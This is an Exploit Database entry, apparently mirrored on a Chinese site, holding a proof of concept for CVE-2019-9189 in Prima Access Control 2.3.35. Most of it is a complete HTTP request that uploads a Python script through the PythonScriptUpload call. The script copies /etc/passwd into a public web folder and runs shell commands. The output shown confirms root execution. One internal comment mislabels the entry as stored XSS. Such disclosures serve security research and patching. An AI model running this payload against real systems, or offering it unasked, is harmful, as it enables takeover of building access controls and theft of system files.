Prima Access Control 2.3.35 – Arbitrary File Upload

• Exploit Database
• 17 阅读

• 作者： LiquidWorm
  日期： 2019-11-12
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/47634/

• # Exploit Title: Prima Access Control 2.3.35 - Arbitrary File Upload
  # Google Dork: NA
  # Date: 2019-11-11
  # Exploit Author: LiquidWorm
  # Vendor Homepage: https://www.computrols.com/capabilities-cbas-web/
  # Software Link: https://www.computrols.com/building-automation-software/
  # Version: 2.3.35
  # Tested on: NA
  # CVE : CVE-2019-9189
  # Advisory: https://applied-risk.com/resources/ar-2019-007
  # Paper: https://applied-risk.com/resources/i-own-your-building-management-system
  # Prima Access Control 2.3.35 Authenticated Stored XSS
  
  # PoC
  
  ---
  
  POST /bin/sysfcgi.fx HTTP/1.1
  Host: 192.168.13.37
  Connection: keep-alive
  Content-Length: 572
  Origin: https://192.168.13.37
  Session-ID: 5682699
  User-Agent: Mozi-Mozi/44.0
  Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  Accept: text/html, */*; q=0.01
  Session-Pc: 2
  X-Requested-With: XMLHttpRequest
  Referer: https://192.168.13.37/app/
  Accept-Encoding: gzip, deflate, br
  Accept-Language: en-US,en;q=0.9
  Cookie: G_ENABLED_IDPS=google
  
  <requests><request name="PythonScriptUpload"><param name="DestinationHwID" value="1"/><param name="FileName" value="test_python.py"/><param name="Content" value="#!/usr/bin/python&#xA;#&#xA;# test script&#xA;#&#xA;&#xA;import sys,os&#xA;&#xA;with open("/etc/passwd") as f:&#xA;with open("/www/pages/app/images/logos/testingus2.txt", "w") as f1:&#xA;for line in f:&#xA;f1.write(line)&#xA;&#xA;&#xA;os.system("id;uname -a >> /www/pages/app/images/logos/testingus2.txt")"/></request></requests>
  
  Result:
  
  $ curl https://192.168.13.37/app/images/logos/testingus2.txt
  root:x:0:0:root:/home/root:/bin/sh
  daemon:x:1:1:daemon:/usr/sbin:/bin/false
  bin:x:2:2:bin:/bin:/bin/false
  sys:x:3:3:sys:/dev:/bin/false
  sync:x:4:100:sync:/bin:/bin/sync
  mail:x:8:8:mail:/var/spool/mail:/bin/false
  www-data:x:33:33:www-data:/var/www:/bin/false
  operator:x:37:37:Operator:/var:/bin/false
  nobody:x:99:99:nobody:/home:/bin/false
  python:x:1000:1000:python:/home/python:/bin/false
  admin:x:1001:1001:Linux User,,,:/home/admin:/bin/sh
  uid=0(root) gid=0(root) groups=0(root),10(wheel)
  Linux DemoMaster214 4.4.16 #1 Mon Aug 29 13:29:40 CEST 2016 armv7l GNU/Linux